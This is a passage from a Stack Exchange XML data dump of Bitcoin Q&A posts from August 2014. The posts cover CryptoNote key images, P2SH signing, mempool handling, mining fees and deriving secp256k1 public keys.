CryptoNote introduced a special key image which is created by a user while signing a transaction. It is the value of a cryptographic one-way function of the secret key, or in other words it is actually an image of this key. It is computationally infeasible to find a collision (two different private keys, which have the same image). In case of double-spending attempt the system immediately reject any new ring signature with a duplicate key image. It won’t be able to pinpoint a misbehaving user, but it does prevent any double-spending attempts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There was never a documented occasion of a double-spending attack in the history of Bytecoin (BCN) or any other CryptoNote -based coin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read this for more details &lt;a href=&quot;https://cryptonote.org/inside/&quot; rel=&quot;nofollow&quot;&gt;https://cryptonote.org/inside/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18678" LastEditorUserId="18678" LastEditDate="2014-08-04T15:53:20.073" LastActivityDate="2014-08-04T15:53:20.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29863" PostTypeId="2" ParentId="29432" CreationDate="2014-08-04T16:59:51.573" Score="1" Body="&lt;p&gt;Correct - you will be awarded &lt;code&gt;node_fee&lt;/code&gt; percentage of the shares found on your p2pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Relevant lines of code: &lt;a href=&quot;https://github.com/jramos/p2pool/blob/master/p2pool/work.py#L197:L203&quot; rel=&quot;nofollow&quot;&gt;https://github.com/jramos/p2pool/blob/master/p2pool/work.py#L197:L203&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18753" LastActivityDate="2014-08-04T16:59:51.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29864" PostTypeId="2" ParentId="29716" CreationDate="2014-08-04T17:05:00.593" Score="0" Body="&lt;p&gt;I ended up forking p2pool and applying an adaptive difficulty patch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My fork:&#xA;&lt;a href=&quot;https://github.com/jramos/p2pool&quot; rel=&quot;nofollow&quot;&gt;https://github.com/jramos/p2pool&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adaptive difficulty patch: &lt;a href=&quot;https://github.com/jramos/p2pool/commit/e44dc19dada6a346628d838fa9261cd1872f493e&quot; rel=&quot;nofollow&quot;&gt;https://github.com/jramos/p2pool/commit/e44dc19dada6a346628d838fa9261cd1872f493e&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll post results of adaptive vs. non-adaptive on the fork's README page when I have a better sample.&lt;/p&gt;&#xA;" OwnerUserId="18753" LastActivityDate="2014-08-04T17:05:00.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29865" PostTypeId="1" AcceptedAnswerId="29896" CreationDate="2014-08-04T17:36:30.537" Score="3" ViewCount="794" Body="&lt;p&gt;I'm trying to redeem a 2of2 p2sh unspent output. I have the complete multisig redeem script, a single input and a single p2pkh output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My understanding is that I should replace the ScriptPubKey of that single input with the unhashed redeemscript, serialize the Tx with SigHashAll at the end, and sign it with each of the required public keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should yield an input with a signed ScriptPub of OP_0 [Sig][Sig][RedeemScript]. However, this fails to yield a valid signature. I'm using compressed keys in the redeemscript.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each Sig is of the form OP_PUSHDATA/Size+1[DER encode Signature]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something else particular about the way the transaction needs to be serialized and signed? Should I only be using uncompressed keys?&lt;/p&gt;&#xA;" OwnerUserId="17055" LastActivityDate="2014-09-06T03:32:16.900" Title="P2SH transaction signing" Tags="|p2sh|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29866" PostTypeId="2" ParentId="25602" CreationDate="2014-08-04T20:36:16.413" Score="2" Body="&lt;p&gt;Short answer: Yes.&lt;br /&gt;&#xA;Long answer: To make your coins mature, all you have to do is wait but you need your wallet to be open and running the staking process, otherwise nothing's happening.&lt;/p&gt;&#xA;" OwnerUserId="18863" LastActivityDate="2014-08-04T20:36:16.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29867" PostTypeId="2" ParentId="24177" CreationDate="2014-08-04T23:03:21.953" Score="1" Body="&lt;p&gt;From: &lt;a href=&quot;https://github.com/ckolivas/cgminer/blob/master/cgminer.c&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ckolivas/cgminer/blob/master/cgminer.c&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* In balanced mode, the amount of diff1 solutions per pool is monitored as a&#xA; * rolling average per 10 minutes and if pools start getting more, it biases&#xA; * away from them to distribute work evenly. The share count is reset to the&#xA; * rolling average every 10 minutes to not send all work to one pool after it&#xA; * has been disabled/out for an extended period. */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So &lt;code&gt;--balance&lt;/code&gt; looks to the diff1 count and tries to get an even distribution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;--load-balance&lt;/code&gt; looks at the &lt;code&gt;--quota&lt;/code&gt; values and distributes work in proportion to the GCD of them, counting down until remaining quotas are all 0 and the values are reset.&lt;/p&gt;&#xA;" OwnerUserId="18753" LastActivityDate="2014-08-04T23:03:21.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29868" PostTypeId="1" CreationDate="2014-08-04T23:48:14.037" Score="2" ViewCount="762" Body="&lt;p&gt;I am not clear as to how the removal of transactions from the non-confirmed pool happens.  I have not found any descriptions explaining how the process works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the scenarios as I see them:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A) When a node selects a set of transactions to be included in a possible block it removes them from the non-confirmed pool.  So if/when the node solves the block there is no clean up necessary of the not-confirmed pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;B) Transactions may be included in multiple potential blocks and remain in the not-confirmed pool while blocks are being solved, then when a block is solved the transactions included in the block are removed from the not-confirmed pool.  This sounds to me as the most likely scenario but it is not clear at all who/when removes the transactions from the not-confirmed pool. &lt;/p&gt;&#xA;" OwnerUserId="18866" LastActivityDate="2014-08-05T07:15:19.287" Title="How/when are transactions removed from the not-confirmed pool?" Tags="|transactions|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29869" PostTypeId="2" ParentId="7768" CreationDate="2014-08-05T01:54:37.090" Score="1" Body="&lt;p&gt;Another resource for finding merchants/things for spending your bitcoins is &lt;a href=&quot;https://spendabit.co/&quot; rel=&quot;nofollow&quot;&gt;spendabit.co&lt;/a&gt;. There are several-million things listed there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In terms of &lt;em&gt;getting paid&lt;/em&gt; in Bitcoin, &lt;a href=&quot;https://coinality.com/&quot; rel=&quot;nofollow&quot;&gt;Coinality&lt;/a&gt; is likely the current market leader. It looks like they had several new listings just today (4 August 2014).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Disclaimer: I am involved with spendabit.co.)&lt;/p&gt;&#xA;" OwnerUserId="619" LastActivityDate="2014-08-05T01:54:37.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29870" PostTypeId="2" ParentId="29868" CreationDate="2014-08-05T07:15:19.287" Score="6" Body="&lt;p&gt;In Bitcoin Core, the memory pool is a consistent set of transactions that can legally follow the best known block. As already mentioned, there is no guarantee of consistency between different nodes' mempools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In practice that means:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;when a new block is accepted (received from the network or locally mined), all transactions in it are removed from the mempool, while their dependencies are kept.&lt;/li&gt;&#xA;&lt;li&gt;when a new block is accepted, all transactions that conflict with transactions in that block, plus all their dependencies, are removed from the mempool.&lt;/li&gt;&#xA;&lt;li&gt;when a block is reorganized (disconnected), its transactions are attempted to add back to the mempool in reverse order (since they may interdependent), unless they conflict with transactions already there.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-08-05T07:15:19.287" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="29871" PostTypeId="1" CreationDate="2014-08-05T09:30:38.117" Score="0" ViewCount="232" Body="&lt;p&gt;As there are 100s of crypto coins each with their own QT-client, how do exchanges manage the transactions? Do they use the core client of every altcoin in the servers or will they be programming code to do that? If coding is done, which platform or language is secure?&lt;/p&gt;&#xA;" OwnerUserId="18870" LastEditorUserId="18870" LastEditDate="2014-08-05T17:46:15.703" LastActivityDate="2014-08-06T02:10:04.403" Title="How do cryptocurrency exchanges like Mintpal manage so many?" Tags="|exchanges|development|altcoin|open-source|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29872" PostTypeId="1" CreationDate="2014-08-05T14:56:11.777" Score="3" ViewCount="227" Body="&lt;p&gt;I need some clarification about the meaning of the addr_from and addr_recv fields&#xA;in the Version Message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;addr_recv: The network address of the node receiving this message &#xA;does this mean the public IP of the node I am sending to ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;addr_from:The network address of the node emitting this message &#xA;does this mean my public(external) IP address or my local IP address ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks .. &lt;/p&gt;&#xA;" OwnerDisplayName="user18727" LastActivityDate="2018-03-26T16:32:18.977" Title="addr_recv addr_from in version Message" Tags="|protocol|packets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29874" PostTypeId="2" ParentId="2089" CreationDate="2014-08-05T18:13:03.323" Score="1" Body="&lt;p&gt;Unfortunately the Bitcoin wiki (&lt;a href=&quot;https://en.bitcoin.it/wiki/Trade&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Trade&lt;/a&gt;) has grown completely unwieldy and has many outdated / no-longer-working links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://coinmap.org/&quot; rel=&quot;nofollow&quot;&gt;Coinmap&lt;/a&gt; is a decent place if you're looking for &quot;brick and mortar&quot; businesses, and &lt;a href=&quot;https://spendabit.co/&quot; rel=&quot;nofollow&quot;&gt;spendabit.co&lt;/a&gt; lists millions of products from a growing number of Bitcoin-enabled merchants (including the usual list -- Overstock.com, TigerDirect, etc).&lt;/p&gt;&#xA;" OwnerUserId="619" LastActivityDate="2014-08-05T18:13:03.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29875" PostTypeId="2" ParentId="1257" CreationDate="2014-08-05T18:15:36.650" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://spendabit.co/&quot; rel=&quot;nofollow&quot;&gt;spendabit.co&lt;/a&gt; lists millions of products from a growing number of Bitcoin-enabled merchants (including the usual list -- Overstock.com, TigerDirect, etc).&lt;/p&gt;&#xA;" OwnerUserId="619" LastActivityDate="2014-08-05T18:15:36.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29876" PostTypeId="2" ParentId="29872" CreationDate="2014-08-05T22:37:05.950" Score="3" Body="&lt;p&gt;So assuming node A sends a version message to node B then the two fields have the following meaning and value:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;addr_recv&lt;/code&gt;: node A says &quot;I believe you are reachable via this IP&quot;, hence its value is B's public IP address, the IP this message was originally sent to.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;addr_from&lt;/code&gt;: node A says &quot;I believe my external IP is this&quot;, hence this is what A believes its external IP to be (but may be different if A is behind a NAT and has not learned its true external address yet).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="120" LastEditorUserId="31712" LastEditDate="2018-03-26T16:32:18.977" LastActivityDate="2018-03-26T16:32:18.977" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29877" PostTypeId="2" ParentId="29871" CreationDate="2014-08-06T02:10:04.403" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;As there are 100s of crypto coins each with their own QT-client, how do exchanges manage &gt;the transactions?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;From what I have seen and what I understand, each exchange running on a website like cryptsy or mintpal is its own process. Each &quot;exchange server&quot; is a program running on the website's server. Because each coin's protocol necessitates its own wallet, they just have to have a lot of servers. The way lots of servers are banded together to handle a lot of requests is a complex science, and a lot of it is proprietary because businesses invest a lot in it. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;QT-Client&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Using a qt client in a server is rather inefficient, because there is not much need for a graphical interface. Using such a client is just unnecessary extra overhead. These websites can save a lot of money by optimizing server programs, which in turn allows for less server use, and less necessary investment in hardware.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Do they use the core client of every altcoin in the servers or will they be programming code to do that?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The most efficient solution for running a crypto transaction would be the barebones command line, as it has minimal overhead. It just takes requests and sends them through the network. This is easiest to do with just the core client, although all bitcoin clients have the core client in them. Next, sending through transactions would require a server side program, that would do the exchange math, and then send the proper funds to the proper wallets. This part would be custom coded. Peatio is not highly prevalent yet, and there isn't other &quot;exchange software,&quot; so exchanges do write exchange software themselves. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If coding is done, which platform or language is secure?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Server side coding does not affect security because it stays on the side of the exchange. Server side security precautions like encrypting important data aren't really affected by platform. As long as the platform can encrypt connections and keep data safe, it's a secure platform. I realize that's kind of a blow off answer, but almost every server platform is made to be secure enough to run these types of things, and so are the coding languages.&lt;/p&gt;&#xA;" OwnerUserId="18881" LastActivityDate="2014-08-06T02:10:04.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29878" PostTypeId="1" CreationDate="2014-08-06T03:02:54.777" Score="3" ViewCount="3001" Body="&lt;p&gt;I have sent a Bitcoin amount to someone who wants the transaction ID. What is this? Is it the hash shown on the LHS of the transaction?&lt;/p&gt;&#xA;" OwnerUserId="18882" LastEditorUserId="5406" LastEditDate="2017-07-11T06:06:10.420" LastActivityDate="2017-07-11T06:06:10.420" Title="What is the transaction ID?" Tags="|blockchain.info|transaction-id|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="29880" PostTypeId="2" ParentId="25024" CreationDate="2014-08-06T08:26:36.807" Score="47" Body="&lt;p&gt;I'll try answering this again in a different way,&#xA;using small numbers to keep it readable.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;convert the private key to binary representation, so decimal number 105, which is 0x69 in hex, becomes  01101001.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;calculate this list of points, by repeatedly doubling the Generator point G:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;1*G&#xA;2*G = G+G&#xA;4*G = 2*G + 2*G&#xA;8*G = 4*G + 4*G&#xA;16*G = 8*G + 8*G&#xA;32*G = 16*G + 16*G&#xA;64*G = 32*G + 32*G&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;write the bits of the private key next to this list like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;privkey    pointlist&#xA;   1          1*G&#xA;   0          2*G&#xA;   0          4*G&#xA;   1          8*G&#xA;   0         16*G&#xA;   1         32*G&#xA;   1         64*G&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;now start adding only those points which hava a &lt;code&gt;1&lt;/code&gt; written next to them.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    9*G = 1*G + 8*G&#xA;   41*G = (9+32)*G = 9*G + 32*G&#xA;  105*G = (41+64)*G = 41*G + 64*G&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;now you have calculated the public key for privatekey 105 by using only point doubling and point adding operations.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The actual value will be:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;(0xf219ea5d6b54701c1c14de5b557eb42a8d13f3abbcd08affcc2a5e6b049b8d63,&#xA; 0x4cb95957e83d40b0f73af4544cccf6b1f4b08d3c07b27fb8d8c2962a400766d1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The public key will then be in one of two formats:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;full, this is a 65 byte number, starting with a byte &lt;code&gt;0x04&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;compressed, this is a shorter form, 33 bytes, starting with either 0x02 or 0x03.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;The full public key is 0x04, followed by 32 bytes of the x-coordinate, followed by 32 bytes of the y-coordinate.&lt;/p&gt;&#xA;&lt;p&gt;The compressed public key is 0x02 or 0x03 depending on whether the y-coordinate is an even or odd number,  followed by 32 bytes of the x-coordinate.&lt;/p&gt;&#xA;&lt;p&gt;Then some more notes on your question:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Some older texts used to refer to scalar point multiplication, as exponentiation, that is why sometimes the private key is referred to the private exponent.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;the parameters of the curve were chosen randomly once. meaning that the designers of the secp256k1 curve tried to &lt;a href=&quot;http://safecurves.cr.yp.to&quot; rel=&quot;noreferrer&quot;&gt;unsuccessfully&lt;/a&gt; convey that there is no specific structure to this curve. Meaning that the NSA could or could not have put a mathematical backdoor in the curve parameters.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;when using this curve and generating your public key, -you- have to choose your private key randomly, in a way that it is impossible for anyone to guess it.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;the generateor &lt;code&gt;G&lt;/code&gt; is a specific point on the elliptic curve, defined in the &lt;a href=&quot;https://en.bitcoin.it/wiki/Secp256k1&quot; rel=&quot;noreferrer&quot;&gt;secp256k1&lt;/a&gt; curve.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="13163" LastEditorUserId="13163" LastEditDate="2020-12-29T21:49:38.967" LastActivityDate="2020-12-29T21:49:38.967" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="29881" PostTypeId="1" CreationDate="2014-08-06T08:53:28.383" Score="2" ViewCount="157" Body="&lt;p&gt;So far as I know the anonymity feature in CryptoNote is achieved through the ring signatures technology. But what if the coin is new and the number of users is small? Does it mean that unless a new CryptoNote-based coin amasses a significant amount of users the anonymity feature won’t be accessible?         &lt;/p&gt;&#xA;" OwnerUserId="18884" LastActivityDate="2015-01-31T12:35:18.690" Title="How does CryptoNote provide anonymity for a new coin when the user base is still small and additional signatures are scarce?" Tags="|privacy|cryptonote|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29882" PostTypeId="2" ParentId="29881" CreationDate="2014-08-06T09:54:06.327" Score="1" Body="&lt;p&gt;Small user base doesn’t seem to be such a big problem for CryptoNote coins. It is possible that up to a thousand of initial transactions would be more transparent than the ones that come next but this does not constitute an unsolvable issue. There is an interdependence between the number of existing signatures in the network and the level of anonymity available to users. If  a cryptocurrency has been created just recently the sufficient amount of signatures can be obtained through user’s transactions (even in small quantities) in a short period of time or it can be done with so called transaction tests. At the very beginning of the coin’s life-cycle the number of users can be very small and some of the transactions are created deliberately by the developers (manually or automatically) to increase the number of ring signatures for future transactions. It seems to be the case with Bytecoin (BCN). This coin is a first CN based currency launched in 2012. Now let's take a look at the chart below, it shows a transactions distribution since the launch of the coin. &lt;img src=&quot;https://i.stack.imgur.com/H4pOT.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an author writes: &#xA;“Obviously at the beginning a certain number of transactions was created deliberately to make enough ring signatures for the future transactions (marked with brown color). Eventually this number has dropped leaving only the transactions created by users”. &lt;/p&gt;&#xA;" OwnerUserId="18678" LastEditorUserId="18678" LastEditDate="2014-12-02T12:12:04.470" LastActivityDate="2014-12-02T12:12:04.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29888" PostTypeId="1" CreationDate="2014-08-06T16:28:49.660" Score="2" ViewCount="68" Body="&lt;p&gt;Like considering the Alice Bob ex where Alice is the customer and Bob is the merchant. If Alice and Bob signed a contract where alice will pay bob on the delivery of a service. The transaction took place at time &quot;t&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can some one query the blockchain at time &quot;t+10&quot; and see what was the actual contract signed between alice and bob? &lt;/p&gt;&#xA;" OwnerUserId="18887" LastActivityDate="2014-08-08T10:37:49.280" Title="On quering the blockchain, can someone read what transaction took place?" Tags="|transactions|blockchain|contracts|" AnswerCount="1" CommentCount="2" ClosedDate="2014-08-08T15:06:53.097" ContentLicense="CC BY-SA 3.0" />
  <row Id="29890" PostTypeId="1" CreationDate="2014-08-06T17:58:49.367" Score="3" ViewCount="536" Body="&lt;p&gt;The way I understand it,  at the very top of the block the miner adds a transaction to collect the 25 bitcoins it would earn if it solves the block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously that transaction is included in the hash/nonce when the block is solved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what about the fees? the only way I see it done is for the miner to also create transactions for each of the fees it finds in the block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All these &quot;fragments&quot; have to be traced to some source/input address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q: How can the miner sign a fee transaction for itself if the miner's address is not the input of the transaction?&lt;/p&gt;&#xA;" OwnerUserId="18866" LastEditorUserId="5406" LastEditDate="2016-04-25T18:16:16.073" LastActivityDate="2016-04-25T18:16:16.073" Title="How does a miner collects the fees?" Tags="|transaction-fees|mining-reward|coinbase-transaction|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29891" PostTypeId="2" ParentId="29890" CreationDate="2014-08-06T19:27:19.563" Score="6" Body="&lt;p&gt;In the same special &quot;generation transaction&quot; that collects the 25 newly minted bitcoins, the miner also collects the total of all the transaction fees in the block, and together can send them to an address(es) of his choosing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No signature is required; it's a hardcoded perk to whoever manages to find a block.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2014-08-06T19:27:19.563" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29892" PostTypeId="2" ParentId="20104" CreationDate="2014-08-06T19:39:10.300" Score="0" Body="&lt;p&gt;In the &quot;Pay to Script Hash&quot;, ScriptSig looks like this&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;...signatures... {serialized script}&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and ScriptPubKey is &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;OP_HASH160 [20-byte-hash-value] OP_EQUAL&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You have to understand that {serialized script} in the ScriptSig is initially treated as a constant that just gets pushed onto the data stack. So even if {serialized script} is {[pubkey] OP_CHECKSIG}, as mentioned later in BIP16 as an example, it will not fail validation because the OP_CHECKSIG is not treated as an operation, it is just part of a constant. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that there are two validation steps in &quot;Pay to Script Hash&quot;. The first step is where {serialized script} is treated as a constant and the rest of the script makes sure that the [20-byte-hash-value] is indeed the hash of {serialized script}. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second validation step occurs when the first validation step succeeds, and &#xA;in the words of BIP16 &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;{serialized script} is popped off the initial stack, and the transaction is validated again using the popped stack and the deserialized script as the scriptPubKey.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you are still confused, I have written a beginner friendly article that explains how &quot;Pay to Script Hash&quot; works and walks through the execution of an example script in an article here: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://kaykurokawa.blogspot.com/2014/07/scripting-in-bitcoin-part-2.html&quot; rel=&quot;nofollow&quot;&gt;http://kaykurokawa.blogspot.com/2014/07/scripting-in-bitcoin-part-2.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7267" LastActivityDate="2014-08-06T19:39:10.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29893" PostTypeId="2" ParentId="29878" CreationDate="2014-08-06T19:41:16.390" Score="4" Body="&lt;p&gt;Transaction ID usually refers to the &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#Hashes&quot; rel=&quot;nofollow&quot;&gt;2xSHA256 hash&lt;/a&gt; of the transaction serialized as it would have been transferred in the network. This is also the ID as peers &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#Inventory_Vectors&quot; rel=&quot;nofollow&quot;&gt;refer to them&lt;/a&gt; when broadcasting through the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice that due to &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_Malleability&quot; rel=&quot;nofollow&quot;&gt;transaction malleability&lt;/a&gt; a transaction may have multiple IDs.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2014-08-06T19:41:16.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29896" PostTypeId="2" ParentId="29865" CreationDate="2014-08-07T02:56:43.317" Score="1" Body="&lt;p&gt;I solved this, redeemscript wasn't prefixed with pushdata which is necessary as the whole script gets pushed.&lt;/p&gt;&#xA;" OwnerUserId="17055" LastActivityDate="2014-08-07T02:56:43.317" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29897" PostTypeId="1" CreationDate="2014-08-07T03:00:14.723" Score="-5" ViewCount="237" Body="&lt;p&gt;I've written a proposal for an extremely extremely high-speed transaction verification algorithm: &#xA;&lt;a href=&quot;http://kenthagerman.blogspot.ca/2014/08/weavecoin-high-speed-crypto-currency.html&quot; rel=&quot;nofollow&quot;&gt;http://kenthagerman.blogspot.ca/2014/08/weavecoin-high-speed-crypto-currency.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible? Is there anything in the standard Bitcoin algorithms which would be broken by these changes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if the document is difficult to understand in any way, and I'll revise it.&lt;/p&gt;&#xA;" OwnerUserId="18666" LastActivityDate="2014-08-07T10:03:06.910" Title="WeaveCoin - Extremely High-Speed AltCoin - Is this Possible?" Tags="|development|alternatives|altcoin|algorithms|" AnswerCount="2" CommentCount="2" ClosedDate="2014-08-08T00:24:08.217" ContentLicense="CC BY-SA 3.0" />
  <row Id="29898" PostTypeId="2" ParentId="29897" CreationDate="2014-08-07T03:31:23.680" Score="1" Body="&lt;p&gt;Two things jump to mind:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;This does not appear to adequately address the double-spend problem. How long must one wait to be certain that the transaction that was just &quot;confirmed&quot; will not be superseded by a different transaction, rendering the first one invalid?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Have you calculated how a 1-second block generation interval will affect the blockchain storage profile over time?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2014-08-07T03:31:23.680" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="29900" PostTypeId="2" ParentId="29897" CreationDate="2014-08-07T10:03:06.910" Score="1" Body="&lt;ul&gt;&#xA;&lt;li&gt;1 second is not enough to propagate a block to a majority of nodes in the network. In todays network even a &lt;a href=&quot;http://bitcoinstats.com/network/propagation/&quot; rel=&quot;nofollow&quot;&gt;single transaction takes 1 second&lt;/a&gt;, so how can a larger structure be faster.&lt;/li&gt;&#xA;&lt;li&gt;Runner ups are not well defined&lt;/li&gt;&#xA;&lt;li&gt;Block rewards are assigned by including a reward transaction into the block, which becomes valid if the block becomes part of the blockchain. If we also make the transactions in merged blocks valid, then more than one reward is awarded. Notice that you cannot fix this problem by simply dividing the reward by the number of chains that you are merging since any two chains may conflict and you don't know how many chains will be merged.&lt;/li&gt;&#xA;&lt;li&gt;You allow people to go back in time, create a sidechain (if the merge limit is not filled) and then merge it in a higher up block, effectively backdating a transaction to the merge's time. You'll need to address the problem of such a transaction invalidating a transaction included higher up in the blockchain.&lt;/li&gt;&#xA;&lt;li&gt;I believe that it will be a rare occasion that, disregarding the reward transaction which conflicts by default, you'll ever get two blocks at the same height that do not conflict (they contain the same transaction).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="120" LastActivityDate="2014-08-07T10:03:06.910" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
